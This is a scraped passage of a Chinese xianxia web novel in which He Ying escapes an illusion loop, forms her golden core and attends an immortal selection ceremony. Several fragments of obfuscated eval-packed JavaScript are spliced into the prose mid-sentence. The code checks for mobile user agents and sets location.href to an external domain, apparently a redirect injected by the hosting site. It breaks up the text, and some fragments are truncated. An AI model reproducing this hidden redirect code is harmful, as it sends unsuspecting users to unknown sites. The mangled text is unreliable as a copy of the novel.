没想到何缨竟然会遇上这样的考验。 绯明已经看破了整个幻境,只要他想,随时可以将何缨带离这里,可是他没有。 何缨干劲十足地和面,剁馅,精神焕发地忙里忙外,路过绯明时用沾满了面粉的手揉了狐狸的头,把他揉成了一张大花脸。她对着这张大花脸狠狠地亲了一口。 绯明:“……” 冥冥之中他发觉到,这场考验对于何缨有着重要的意义。 姑且先这样吧。若是遇到危险,他再动手也不迟。 何缨做了香辣炸酱面,配上酥脆可口的炸小肉丸,端到小院里,和茸茸一起吃。 在21世纪独自生活了多年,做一口好吃的饭简直是开卷考试,何缨挑起一筷子面条,筋道弹牙。 何缨亲手做的,绯明便跳上了桌,咬了几个肉丸子,吃了一口何缨特意过了两遍凉水拌好的面条。 好好吃饭,才有力气继续做任务。 何缨想着,也许是老妇的执念太深,所以才会一直重复着这一天的场景,要去浮光宗。 没关系,再去几次都无所谓,有茸茸陪在身边,何缨什么都不怕。 第二天,何缨换了身结实的浅色布裙,早早地烙好饼,还往里面撒了糖。她利落地背上背篓,抱起小狐狸。 小狐狸还要挣扎,何缨却用侧脸贴上了他的后背。 “已经没关系了,我现在有劲!” 再有劲也是个弱女子,绯明还是想在前面替她排除危险。 何缨:“可是我想抱着你嘛。我不想你离我那么远。” 绯明:“……” 绯明感觉自己又该去池塘里泡一泡。 怀中的小狐狸终于不再挣扎,何缨揉了揉他的屁屁,把他放到了自己肩上。 到了村东头,昨天那汉子已经在树下等着了,何缨看着那辆牛车问:“多少钱?” 那汉子摆出了依附揶揄的姿态,“咱俩还用说这个?” 何缨尬笑,“当然要说,我和你非亲非故,怎么好意思白做你的车。” 汉子:“你先上车,到了地方再说。” 何缨:“提前算好吧,镇上人多,又杂。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785739|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 汉子没办法,只能收下了何缨的银子。 坐在牛车上,何缨带着大大的草帽,将小狐狸捧到胸前,避免太阳晒到他。 上一次的时候光顾着赶路,根本没来得及看四周风景。 今天是个大晴天,万里无云。阳光下,大片大片的玉米秆透着碧绿的色泽,一簇紧挨着一簇,像一圈圈金绿色的花边,将澄澈的天空包围点缀。 数不清的麻雀立在枝头叽叽喳喳,被一只白猫突然偷袭,吓飞了一片。 牛车从田间走过,有人看见何缨他们,朝两个人挥了挥手。 “又去浮光宗啦?” 许是热腾腾的太阳给何缨充足了勇气,何缨将两手放在嘴边扩音,大喊道:“对!” 她这一喊,整片田野都回荡着她的声音,何缨摘了草帽,朝田里的人奋力挥了挥。 “你看,我就说你那丈夫克你。他一没,你这人都有了活气。”赶车的汉子笑道。 何缨尴尬地收回手,把草帽扣到了小狐狸头上。 这话要她怎么接! 绯明从草帽里钻出来,不满地挠那破烂的帽檐。 何缨忙把草帽拿回来带上。 “小坏蛋,再挠一会儿我明天没东西带了。” 何缨骂着小坏蛋,却把狐狸拎起来好一阵亲吻。 亲过后,他就会安稳好一阵子。 绯明红着耳朵不敢再闹,只是一味盯着前面那个汉子,时不时嘤嘤叫着发表不满。 怪不得不用我在前面引路,原来是有别人带你去。 叫声里都泛起了酸意。 何缨不知道他在吵吵嚷嚷些什么,她看着天边飞过的鸟儿,心里十分地平静。 要是这样的日子能永远永远地持续下去就好了。 牛车慢悠悠地走着,一直到下午才晃到镇上。 何缨跳下车,和那汉子告别。 “缨子,你说我这暗示你这么久了,你给点反应行不?”汉子有点委屈。 何缨眼前尴尬地飞过一群乌鸦,“什么?车钱我付过了呀,下次再说吧!” 她头也不回地跑了。 何缨按着之前的记忆,又一次来到了镇上最繁华的那条街。 什么都没变,又似乎什么都变了。 陈氏糕饼铺的招牌干净了不少,像是刚挂上去没几年。 店里没什么人,远远的就听见了一男一女的争吵声。 “早跟你说了这东西赚不到钱,你非要开,现在好了,剩这么些,给谁吃?喂狗啊!” “这才几天?你说说这才几天?你就耐不住了,钱哪有那么好赚,我已经每天在改糕饼的样式了,你就不能再等一些时日?” “每天就赚那么几个子,还让我等?” “钱是我娘家出的,糕饼是我做的,小二是我花钱请的,你为什么不能等?” 一个响亮的耳光在何缨耳畔响起。 何缨吓了一跳。 糕饼铺子门口已经围了不少人,何缨挤到人群里,看到了那个送给自己点心吃的老板娘。 ……什么老板娘,是老板才对。 老板捂着脸,伏在柜台前,竭力躲避着男人的打骂,和围观者的目光。 围观的人议论纷纷,却没人敢插手别人的家里事。 “……以后你来镇上,到我们陈氏糕饼铺子来,想吃多少都随你便。” 女人温柔的声音还回响在耳畔,何缨不知道哪来的勇气,这究竟是一个少女爆发了的小宇宙,还是一个更年期小寡妇憋屈了不知道多少年的怒火,无从得知。 何缨冲进去拍了一下那个还在怒骂的男人的肩。 男人一回头,何缨上去就是一个狠狠的大嘴巴。 紧接着,流利的脏话就像熙融峰后山上潺潺不绝的溪水一般,喷到了男人的脸上。 男人措手不及,被何缨这一巴掌扇昏了头,坐在地上半天没回过劲。 18. 18 何缨扶起糕饼铺老板,将草帽带到了她头上,挡住了别人的目光。 她把切糕饼的刀举起,对着男人一刀砍下,男人大声嚎叫着后退,那把刀距离某个不可言说的部位只有不到一寸,他再慢一点,就要永远失去些什么了。何缨又转过头,她剧烈的喘息着,一对桃花眼瞪得很大。她用刀对着围观的人,围观的人也有些怕,默默地后退,往周围散去。 此时的何缨就像一个疯子,敌我不分人畜不分,谁动砍谁。 “谁让你们这群鳖孙动了!”何缨吼道。 围观的人走也不是不走也不是,他们看着何缨手中的刀,一时都没敢动。 何缨问老板:“糕饼怎么买?” 老板愣愣地看着她,“桂花的三钱,芝麻的两钱,其余的一钱。” 何缨爽快地掏钱,“来两包桂花的。” 老板完全是凭着本能包好了两包桂花糕,递到何缨手上。 何缨只接了一包,另一包被她用刀挑开,摊在了店门口的桌子上。 “我请大家吃桂花糕,不要钱。好吃的话再来。”何缨把刀塞回老板手里,“他下次再敢打你,你就用这个捅他下边儿,死不了,大不了断子绝孙,看看他还有什么能耐。” 何缨在众人战战兢兢的神情中提着糕饼离开了。 没过一会儿,还真有人凑上前去尝了点桂花糕。 糕饼本身不难吃,就是甜了些,众人给老板出主意,让她配点茶做成小吃摊。 “没必要闹这么僵,日子还得过不是?等生意做起来了就好了。那寡妇死了丈夫憋着股火,没本事又非要修那劳什子的仙,你别管她。”一个鳖孙吃着桂花糕说道。 地上的男人半天没回过神,又在人前丢了脸面,从后门落荒而逃。 老板谢过他们的提议,却还是忍不住看向远方,那个模糊成一个点的女子。 修仙吗,那是她一辈子想都不敢想的事。 何缨走出八里地,忽然蹲下来,尴尬地红了脸。 刚才那个骂人的是她吗?! 她这辈子都没说过几个脏字,也没骂过人,没想到刚才那么流利。 好像身体里有一股本能似的。 赶着日落,何缨和上次一样顺利地到达了浮光村。 这次没有晚饭,村里的人都听说了她在镇上的事,也不怎么敢和她说话。 何缨就坐在村子旁的山坡上,和茸茸一起分享桂花糕。 刚开始何缨还说今晚不睡了,要茸茸陪她一起看日出,结果没到后半夜呢,自己一个人躺在草地里就睡了过去。 她开始头晕,心口也突突地跳,像生病了一样难受。 绯明化作人型,将眉头紧蹙地何缨抱在怀里,握住她的手腕轻轻输送灵力。 ……还是这具身体年纪的问题。 看着好像年轻了十几岁,能跑能跳,实际上早已经过了随心所欲的时候。逞一次强,到头来还是会反噬自己。 何缨已经有许久没生病了。 在她以前的世界,像她这样的家庭情况,也根本不允许生病。 最严重的一次,睡过了头,老师给她电话过来劈头盖脸就是一顿骂,何缨这才发觉,自己烧昏了头,半夜写作业的时候晕了过去。 吃了退烧药也不管用,寒冬腊月,何缨裹着羽绒服去医院看病,打针的时候连个帮忙缴费的人都没有。 那之后,何缨想,人可以挂掉,但是绝不能生病。 何缨在绯明的怀里翻了个身,用双手紧紧环住了绯明的脖颈。 她做了一个梦。 梦里的九尾狐像一栋楼那么高,它用九条长长的尾巴轻轻地包裹着她,用毛茸茸的胡须蹭她。 四周一片漆黑,何缨被尾巴托起,一直升到最高处,看到了一轮缓缓升起的太阳。 她的体内钻出了无数道黑暗的怨气,涌向了九尾狐。何缨拼了命的阻止,却只是白费力气。 太阳照亮了这方黑暗的小世界,却也将九尾狐照射成了漆黑的幻影。 何缨睁开眼睛,从草地上坐起来。 茸茸趴在她的身边,咬她的衣角。 不远处,一轮通红的日头自地平线下缓缓地升起,带着七彩虹光,将整片天都染成了红色。 何缨一直埋头在自己的小世界里,从来没见过日出,她被那蔚蓝与橙红色交织的场面深深震撼。 “茸茸,”何缨眺望着天边的红霞,抱紧了怀里的狐狸。 ……不要离开我。 绯明在她怀里垂下了眼眸。 不会离开你。 这一次爬台阶比上次轻松了不少,何缨中间歇了一次,就到了顶。 门口依旧人很多,何缨跟着人潮向前,排好了队。 任务完成四个大字又一次出现在了她的面前,可这个世界依旧没有结束。 测试的东西何缨很熟悉,她进沧溟仙宗的时候也用过,是块玉石。 她把手放在上面,用了吃奶的力气,也没能让石头亮起来。 那弟子一见是何缨,态度立马不耐烦了起来,“怎么又是你,都多少回了,你根本没有灵根!去去去一边去,下一个!” 何缨被拥挤的人群挤到了一边,尴尬地把附在玉石上的手收了回来。 ……也对,这具身体是在十几年后才拜入浮光宗的,她现在肯定进不去。 何缨抱着小狐狸又下了山,更是一头雾水。 那这有什么意义? 这个幻境到底要自己做什么? 何缨有预感,今晚过后,时间线或许会又一次往前十几年,而任务依旧是参加浮光宗弟子大选。 如果真的是这样,那这轮回到哪才是尽头? 到她变成婴儿?还是出生之前? 幻境是对每一个人最薄弱之处的考验。她最薄弱之处又是什么? 勇气?耐力?何缨一时想不明白。 她回到了镇上住宿,果不其然,第二天,世界又一次发生了变化。 接下来的轮回正如所料,何缨变成了家庭主妇,而她的任务依旧是去浮光宗。 丈夫是个木讷的书生,并不拦着她,毕竟这是何缨这一年里唯一一次非做不可的事。 何缨抱着狐狸又一次去了浮光村,又一次登上浮光宗,又一次被拒之门外。 直到这时,何缨终于发觉事情有些不对。 如果就这样一直轮回到出生之前,那不就再也不存在于世间,也就是死? 这个秘境是有时限的。轮回到再不能轮回,就结束了。 在那之前,何缨必须找到解决的办法。 又一次从床上醒来,何缨依旧先是看向自己的双手。 这双手十分稚嫩,和自己的手几乎一模一样。 这一次,她回到了及笄后。 屋子里的摆设虽然陈旧,但是能看见许多小姑娘才有的东西,几只腐朽的簪子,清洗到发白的手帕,粗糙缝制的布偶,还有堆放在桌子上的女红。 茸茸呢? 何缨坐起来,一下子就听到了窗外的叫骂声。 “我打死你这个小畜生!” 何缨夺门而出。 院子里,一只小狐狸正在上蹿下跳。 绯明不想干涉幻境,但也不会被几个凡人打倒,于是慢条斯理地在两个人的混合双打下穿梭,不仅毫发无损,还把那两个人类气了个半死。 “茸茸!” 少女惊慌的呼声划破还没彻底亮起的天空,何缨冲了过去,一把将小狐狸捞在了怀里。 于是两个人不轻不重的拍打就落在了何缨身上。 何缨的手臂挨了一下竹板,留下了一道长长的红痕。 “你出来干什么?为了一个小畜生你真疯了啊你!”女人将何缨从地上拉起来,要打,却被男主人拦住了手。 “月底就要嫁人了,别留下伤。“ 女人并不妥协,她伸手就要在何缨大腿上拧一把,却被狐狸抢先狠狠咬破了手背。 女人痛得大叫,男主人立马伸手要将狐狸捉走,何缨死死抱着不撒手,狐狸又是一顿乱挠,精准地划破了男主人的脸。 “何缨,你是不是无法无天了!亏我和你娘答应你,让你去浮光宗再试一次,现在你是想都别想,给我滚回去!” 何缨被男人大力推搡回了小屋,哐啷一声关上了门。 钥匙和锁扣的声音在门外响起,他们竟然是将何缨反锁了起来。 “嫁人之前,再也不许离开这个屋!” 何缨抱着茸茸在门口蹲下,用手轻轻地安抚着茸茸的后背。 被这么追打和怒吼过的小动物很容易应激,何缨托着起毛茸茸的一团,一边拍着狐狸的后背,一边小声念叨着不怕不怕。 不怕不怕。 一会儿就好了。 没人能伤害你。 他们在昏暗的小屋里互相依偎,直到光线透过被木板封死的窗户,一点点的透亮起来。 原来第一次轮回才是简单难度。轮回的次数越多阻力也会随之变多。 何缨将平静下来的小狐狸抱上床,他们一起坐在窗边,透过缝隙看到了窗外的光景。 这下好了,连出都出不去了。 而直到此时,何缨忽有所感。 她打量着面前又一次亮起来的两行字。 【身份:及笄少女】 【任务:立即前往浮光宗参加弟子大选】 一样的任务,不一样的身份,身处一个永远不会改变的轮回,何缨伸了个懒腰,扭动了一下发僵的脖颈,身体和灵魂却产生了与之前完全不同的共鸣。 她的双腿坚实有力,她的手臂可以肆意伸展。 何缨在屋子里小跑了一段,她的心跳十分平稳,额头也没出过虚汗。 她的心绪,也是前所未有的宁静。 就好像,无论是什么,现在的她都能做到。 ……那就再试试看吧。 何缨将小狐狸放到安全的角落,随手拎起一把椅子,走到门口。 她深呼一口气,将那把椅子狠狠地扔向了那扇被锁住的房门。 打不开锁,那就把困住她的整扇门都打碎就好了。 一阵震耳欲聋的木头破裂声响彻整个小院。 门彻底破碎。阳光顺着那残破不堪的缝隙透进了屋里,将原本阴冷的闺房照亮。 在隔壁的父母追出来之前,何缨抱起小狐狸,冲出了小院。 何缨不停地跑着,年轻的身体里好像有着用不完的力量。 她穿过稻田,跑过池塘,惊起了无数飞雁。 她跑的是那么的轻快,轻而易举地将那些尖叫和怒吼远远甩在了身后。 几乎没用多少时间,她就跑到了小镇上。 小镇变得更干净了,摊贩不多,何缨朝熟悉的街道走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,她就伸手推何缨,“你懂不懂呀!真是的!” 小姑娘说:“最重要的是开心,是幸福,是画画,是写字,总之不是坚持,更不是越来越好!” 何缨怔住了。 小姑娘抱着她心爱的画,跑回了家里。 何缨手中的半块西瓜还没吃完,她咬了一口,香甜的西瓜汁液在她的唇齿间流淌。 在这一刻,她终于想到了。 第一条时间线里,水果摊上长大成人的小姑娘看到的,真的是一个拼尽全力也要修仙的老妇吗? ……或许只是一个抱着狐狸,吃着西瓜,在凉爽的汁液流进喉咙时,露出幸福笑容的老人吧。 遭受家暴的糕饼铺老板,望向寡妇离去的背影时,看到的又是什么呢? 或许是一个冲破束缚,自由自在生活的独立女性吧。 说到底,坚持和努力本身就是痛苦的温床,真正让人品味甘甜的,始终是追求的那件事本身。 何缨又一次登上浮光宗,又一次站进了大选的队伍。任务也随之显示完成。 她跑得很快,力气也很充足,精神也十分饱满。 没过多久就轮到了她。 再一次,何缨将手放在了玉石之上。 “……五灵根,还是很稀薄的五灵根。姑娘,你没戏了。”负责的弟子摇了摇头,当他看清何缨的容貌时,话锋却是一转。 “但是五灵根也不是不能引气入体。我这有一瓶聚灵丹,你拿回去,要是成功引气,在我们浮光宗混个外门杂役也不是不行。” 他拉住了何缨的手腕,“敢问姑娘芳名?” 其实,就算有了聚灵丹,何缨这具身体也不能引起入体。这个见色起意的小弟子,只是想诓骗何缨罢了。 每个人的命数和资质,早在出生之时就已经定下来了。 何缨不知道这些,也不想再去想那些所谓的“未来”。原来知晓未来,要比活在过去恐怖多了。 她甩开了那名弟子的手,茸茸顺势咬上一口,伴随着那弟子的痛叫声,聚灵丹洒了一地。 她不再去想,只要坚持到老,就能够凭借怜悯拜入浮光宗。 “没戏就没戏,天下之大,又何止于一个小小的浮光宗?” 她才及笄,她的双手有力,她的头脑清明,她明明可以去做任何她想做的事,难道要因为区区一个任务,蹉跎一生? 何缨周身的威压忽然暴涨,将周围所有人都压倒在地。 她的灵力,修为,通通回来了。 令人幸福的,从来都不是努力坚持,而是热爱的那颗心。 拥有那颗热爱的心,四海皆通行。 在那一瞬间,所有的声音都离她远去,世界在她面前分崩离析。 世界彻底破碎之时,一束明亮的光照了进来。 男人覆手而立,逆着光,同她对视。 【男主???】 绯明折扇轻摇,强行装做镇定,轻咳了一声,朝何缨走来。 她这么喜欢听别人夸奖,本座岂能错过这个机会? 一会出去了,机会就要被景言川抢走了,本座才不傻。 19. 19 突破了幻境,何缨的修为蹭蹭上涨。 绯明走到何缨面前,将一只手掌那么大的宫殿模型交给何缨。 “幻境已破,你做得很好。” 何缨没有接过那座小小的宫殿,她怔怔地看着那双赤色的瞳孔。 “你来这里,就是为了和我说这个?” 绯明别开眼,“不然呢?” 眼前一片模糊,连他的模样都再看不清,泪水忽地溢满了何缨的眼眶。 “……谢谢你。” 已经没关系了。不需要别人的夸奖,她也可以站起来,继续走下去。 绯明手足无措,他上前一步,想要抱住何缨,何缨却后退躲开了。 不是喜欢夸奖吗!怎么,怎么反倒给她惹哭了…… 何缨不让他靠近,绯明只能慌乱地从地上拎起小狐狸塞到何缨怀里,小狐狸立刻舔舐掉了何缨眼角的泪水,嘤嘤地同何缨撒娇卖萌。 就在这时,一道霹雳声响起。 石塔外,众长老望向高空中聚集在一起的雷云,严阵以待。 没想到塔里有弟子要结丹了。 时间已经接近一整天,能出来的弟子早都出来了,出不来的也用传送石跑出来了。 这个时间点结丹的,恐怕只有那一个。 “云淮,你弟子结丹,你能不能看着点!” 云淮躺在躺椅上,旁边还支了个伞。 他拿起特调仙果茶喝了一口,“我哪个弟子?” “还有哪个?你就一个筑基期的弟子!” “哦,那就更不用我管了。我劝你们也都别管。“云淮往椅子上一摊。 茸茸用大尾巴擦干了何缨脸上的泪水,何缨听到头顶传来了轰隆隆的雷声,“这是怎么了?” 绯明:“你要结丹了。” 说完,他随手打出一道火焰,将整个石塔照了起来。 塔外的几位长老刚祭出法宝,就发现石塔被一层赤红色的火焰包围了。 石塔的顶端,无数火苗聚集在一起,幻化成了一只九尾狐。 “这是……”长老们大吃一惊。 “早说了不用管,偏不信。”云淮将果茶一口闷了,拿起一旁的沧溟日报翻看。 没过一会,数十道天雷滚滚劈下,塔顶的九尾狐吐出巨大的火球,将雷劫一道一道炸碎,天空登时一片火红。 绯明伸手,轻触何缨的眉间,将那莲花瓣牵引出来。 冰蓝色的莲花瓣绕着何缨旋转,最后融化成一道蓝色的光,融入了何缨心口。 没结丹之前只能储藏在天庭,如今结了丹,化在金丹里就行了。 “那个,我们关系都这么熟了,就不用再拿蛊操控我了吧。” 绯明莫名:“蛊?” 何缨饶了饶头,“你刚才从我额头上取出来的莲花瓣啊。” 绯明:“……” 绯明气笑了,“你觉得这是蛊?” 何缨:“不是吗?那个时候你要掐死我哎,放我一条生路,不就得拿点东西控制住吗。” 绯明忽然俯身靠近,他伸手捏住何缨的下巴,在她耳畔轻轻吹了一口气。 何缨的身体一下子热了起来,胸口怦怦跳,双腿直发软。她痴痴地看着绯明,下意识搂住了他的腰。 好美啊…… 绯明单手揽住投怀送抱的某人,得意地哼哼,“这才叫蛊。” 九天玄狐,会点魅惑之术,不奇怪吧。 外面电闪雷鸣,塔里黏黏糊糊,绯明将没送出去的宫殿又塞在了何缨手中。 何缨傻傻地接了,一只手还放在绯明的胸膛上,拽着他的衣襟不肯撒手。 绯明得意的尾巴都要翘起来了,但是他现在是人形态。 于是何缨肩上的小狐狸得意地翘起了蓬松的尾巴。 雷声渐停。这雷劫足足劈够了三十六道,凝聚的雷云才散去。 石塔恢复了本来的模样,露出了漫天的繁星。 再不出去要超时了,绯明将石塔周围的火焰收回,不情不愿地解了魅惑之术。 何缨迷迷糊糊的眼神终于清明过来,她看了看自己抓在绯明胸前的手,连忙松开背在了身后。 发生什么事了! 绯明跨着脸,将何缨往门口推了一把,“快去,时间要过了。” 何缨捧着宫殿:“感谢老铁送出的大别野一栋,老铁666啊,您以后有什么需求,小女子必定赴汤蹈火在所不辞……” 绯明:“好啊。我就一个要求,既然仙选会初审已经通过,你必须去参加。” 何缨:“……” 他怎么看出自己闯过了石塔就想开摆的! 绯明的身影消失在原地,何缨卡着最后半刻钟,在众人肃穆的目光中走出了石塔。 至此,宗门初选结束。半个月后,仙选会正式开始。 自破解了石塔幻境之后,何缨回到彼岸之间,过了两天悠闲的日子。不再执着于奔赴各种课堂,不再摊开符箓书籍埋头苦练。她的情绪前所未有的平静祥和,晚上的时候,什么都不做,什么也不想,只是抱着狐狸坐在葵花田旁边,静静地看月亮。 就像在幻境里,佝偻的老妇坐在浮光村的小院里,和叼着鸡腿的狐狸一起看月亮。 不用去想该做什么,不用去想明天要去何方,只是捧着怀里毛茸茸的一团,就能感受到属于当下的幸福。 赤璃镜里,一棵棵粉红色的樱花树轻轻摇曳。绯明躺在树下,接住一片飘落的樱花,放在鼻尖轻嗅。 蓝舒来取玄机篆,没在熟悉的亭子里看到绯明,有些意外,他绕了一圈,这才看见树下的绯明。 “哟,怎么转性了?早八百年和你说枫树太单调,你还不乐意,行吧,现在想开了,也不算太晚。” 蓝舒捏住一只樱花枝,还没来得及闻,就挨了绯明一脚。 “让你碰了么?” 蓝舒被他一脚踹出三丈远,又叽里咕噜地飞了回来,“我就纳闷了,上次你拿木头骗我的事我还没说你呢,怎么现在连棵树都碰不得?“ 绯明没反应,蓝舒又蹭过来,贱兮兮地把一串玉牌扔到绯明头上。 “喏,招仙会的牌子,我可给你了嗷,到时候你又不去,自己去跟天帝解释,可不关我的事!” 绯明单手接住玉牌,原本还想再招呼蓝舒一个火球,闻言,却是停了手,将那三枚玉牌拿在手里仔细端详。 一枚白,一枚一枚黑,一枚红。 绯明将红色那枚攥进手心,从树下坐了起来。 他环视整个赤璃境。 没有白天,没有声音,没有人。 何缨会喜欢这样的地方么? 绯明急匆匆起身。 “哎,你又怎么了?” 绯明头也不回,“抓活的。” 蓝舒大惊失色,天帝还没退位呢!这祖宗又要上哪作妖去? ...... 半个月的时间一晃而过,何缨收拾齐整,带上几套衣服,和一些常用的东西,去宗门口集合。 云淮不知道又被什么事拖住了,反正他总能在精准的时间被事拖住。 于是这次出行就变成了景言川领队。 景言川长剑出手,变成了一柄巨大无比的飞剑,飞剑嗖地飞下,停在了参加仙选会的众弟子面前。 ……景言川还不如云淮呢!云淮好歹还会享受,出门肯定要弄得安安稳稳的,景言川一个木头剑修,每天面对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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织星楼是人界唯一一座每年都会同仙界沟通往来的组织,顶头上司就是司命仙君。 每年人界遭遇天灾人祸都会有织星楼提前进行推算,以寻找破解之法。 何缨跟随众人走进楼内,被漫天繁星闪花了眼。 这织星楼果然名不虚传,楼内的走廊竟然是用星河铺垫而成的。 沧溟仙宗是第一宗们,楼内的人对他们十分客气,恭恭敬敬地给他们安排了住宿。 何缨拿着门牌,在九楼找到了自己的住处。 房间不大,但是东西齐全,四周布满了各色星月形状的装饰,连床帐上都是。 只要过了宗门初选,仙选会就是全凭天意了。 明天,他们要去沐浴净身,去星台测算生辰八字。 何缨并不懂,但是既来之则安之,以前的她有些排斥新鲜事物,现在心境变了,反倒能够安心地享受时光。 小狐狸更是睥睨天下,莫非王土。 何缨挺喜欢这华丽的暗蓝色床帐,虽然没什么卵用但是真的很漂亮。她把小狐狸放进床里,拉上床帐,又迅速拉开。 “哇!”何缨把两只手摆成爪子状扑向茸茸。 绯明:“……” 这又是闹哪样。 小狐狸并没害怕,他欢快地摇着尾巴和何缨贴贴。 何缨:“不行,我现在是大王,我拉开帘子,你得害怕才行。再来一次。” 小狐狸十分娴熟地趴在床上开始装死。 20. 20 何缨抱着小狐狸,一会儿演动物世界,一会儿演纣王和妲己。 当然,她是纣王,茸茸负责扮演妲己。 一直折腾到大早上,何缨这才稍微安静了一会。 茸茸被她磋磨的团成了一只大团子。 话是那么说,理是这么个理,可她好像还是有些焦虑。 所以只好用这些稍作掩饰。 时间到了,何缨摸摸小狐狸的头,换了一身白色的衣服,跟随师姐们前去沐浴。 姑娘们各自有各自的熟人,不熟的人也尽量找了伙伴,免得一个人忧心。 然而,她们不约而同地避开了何缨。 一来,何缨身份尊贵,是第一仙宗掌门的亲传弟子,灵宠课后很少有人敢惹她;二来,何缨一向独来独往,并不跟任何人说话,颇为清冷神秘,众人不敢打破这氛围。 一群姑娘在池水里偷偷往何缨那边瞧,嘀嘀咕咕就是不敢过来,何缨只能一个人泡在池子边发呆。 没人过来正好,不然又要客套寒暄,何缨着实应付不来。 不知道这池水中加了什么,何缨感觉自己原本起伏的情绪都被剥离了不少,此刻有些麻木。她偷瞧其他人,似乎也都是如此,神情木讷。出了水池,没有人继续小声的说话,大家都变得默不作声。 织星楼的长老领着众人走上了卜星台。 台前有一方窄窄的屏风,将台面一分为二。 那画满星月的屏风似乎也是一件法器,至少何缨在这一侧听不到那边的任何声音,连风声都被隔绝。 众人排好队,一个一个走到屏风后。 何缨不紧不慢地排在队尾,感觉好像在面试。 不过须臾,第一个进屏风的人已经出来了。 第二个、第三个,都是一句话的功夫就离开了卜星台。 离开的时候,脸上都带着失落。 这涮人速度也太坏了吧! 不知怎得,何缨惴惴不安的起来,倒不是害怕选不上,而是她觉得,似乎有一些自己不曾知道的真相,正离她越来越近。 队伍越来越短,马上就轮到了何缨。 何缨还不知道,这仙选会每年测算生辰八字都会筛掉一大批人。人界之所以是人界,就是因为大部分人天生就同仙界命格不和,说白了,就是没有仙缘。 除非逆天而行自行修炼挨过天劫,绝无可能被选入仙界。 何缨走过屏风,屏风后面坐着个少年人,他双目紧闭,额上长着一只白色的角,此刻正在闪闪发光。 “往前来。”少年说。 何缨走到他面前坐下,忽然想起,自己根本不知道生辰八字是什么。 她倒是知道自己的生日,可是并不能顺利转换成八字。 犹疑之时,少年人却先动了。 他伏在桌上,一低头,将那只白色的角对准了何缨的额头。 白光一闪,少年人皱起眉头。 “……怎么会?青鸾神座怎么会托生成一个凡人?” 少年一把攥住了何缨的手腕。 “青鸾神座是什么?”何缨问。她不是第一次听见这个名字,之前偷听涂山筱和鬼七说话时,他们也提起过这四个字。 少年没有回答她的问题,他额上的白角像是不受控制了一般,爆发出强光。 他不得不松开了何缨的手,捂住了自己的角。 “百年?千年……不,不对……你身上的因果,怎么会如此之多?” “谢执前辈,你怎么了?” 屏风后的看守弟子见到异样的光芒,连忙走了进来。 被称作谢执的少年过了好久才回答,“无事,她通过了,你带她下去休息。” 看守弟子只得请何缨回房。 看完最后一个人的命格,谢执瘫坐在椅子上,对着空气说道。 “师父,这就是你说的,交缠了许多因果的那个人?” 不一会,桌子旁边显现出了一个人影。身穿宝蓝色长袍的男子坐在桌子上,翘着二郎腿,拿着一袋脆片咯吱咯吱地吃。 “没错。千年前我算出鬼界要生事端,可这一算,一直到二十年前,都没有应答。二十年前我得到了回应,而响应我的人,却不在六界之内。” “什么?那她在哪?” “为师也不知。二十年后的如今,她又突然出现在了人界,真是奇也怪也。” “……师父,你吃的什么东西,这么香?” 谢执伸手一掏,只见那画着粉色花花的袋子上写着几个大字:仙兽餐饮。 谢执:“……师父你为什么要吃灵宠粮?” 蓝舒大大咧咧又扔了一把桃汁脆片到嘴里,“管那么多干什么,好吃不就行了?难不成还靠这种东西修炼?” 谢执无力反驳并选择了妥协,跟师父也讨要了一片进嘴。 ……还真挺好吃。 何缨在众目睽睽之下领了玉简离去,一众人有羡慕有佩服,却没什么人嫉妒。 自从何缨入门以来,先是变异冰灵根脱颖而出,再到画出请仙符祈请仙尊下凡,再倒半年内光速结丹,桩桩件件都是可望不可及。 如果说刚入门时还有人觉得她是瞎猫碰死耗子,现在收服了高阶灵宠,又在石塔里渡劫结丹,如今何缨通过了仙选会,众人想了想,也确实在情理之中。 去年入选的尚且有二十人,最终只有名不见经传的两人脱颖而出,今年比去年来织星阁的人还要多,入选的却只有寥寥五人。 晚上,他们五人便要将自己的灵力注入玉简,写下自己的名字,贡到临仙亭里。 仙人们会投下视线,选出有缘之人,赐予相应的玉牌。 白色为入选仙侍,黑色为备选仙君,总之只要有牌子,就一定能去仙界。 若是没有,便是无缘。 仙界。苍穹殿里,众仙云集。 以天帝为首,众人围坐在一只八卦卜盘前,静候。 天帝右侧下位的地方,照常空着一个位置。 绯明仙尊不喜吵闹,向来不往赤璃境中选招,自然也不怎么情愿来这仙选会。 众仙习以为常。 况且,古往今来,绯明乃是第一只以妖狐之身位列仙位的尊上。 一只灵力充沛法力高强的妖狐,比起与之为伍,还是敬而远之的好。 众仙心思各异,面上却还是老老实实地低着头,等着人界的仙选仪式正式开始。 就在这时,一道赤红色的身影自殿外走进。 绯明身着绛红色长衫,身披玄色外袍,顶着众仙惊愕的目光,从容不迫地来到天帝右侧坐下。 他那赤红色的眼眸往四周一扫,原本还在偷瞧他的小仙立刻汗流浃背,缩起了头。 天帝瞥了绯明一眼,复又目不斜视。 “开始吧。” 他座下的四名童子立于卦盘四角,双手掐诀,八卦盘光芒大盛。 第一块玉简立时出现在众仙的眼前。 何缨捧着玉简,看着第一个走上前去的师兄。 这位师兄穿着水运纹路的长袍,跪坐于蒲团之上,将玉简置于星辰神龛之上,坐立不安。 仙界众人只看那玉简一眼便纷纷摇头。 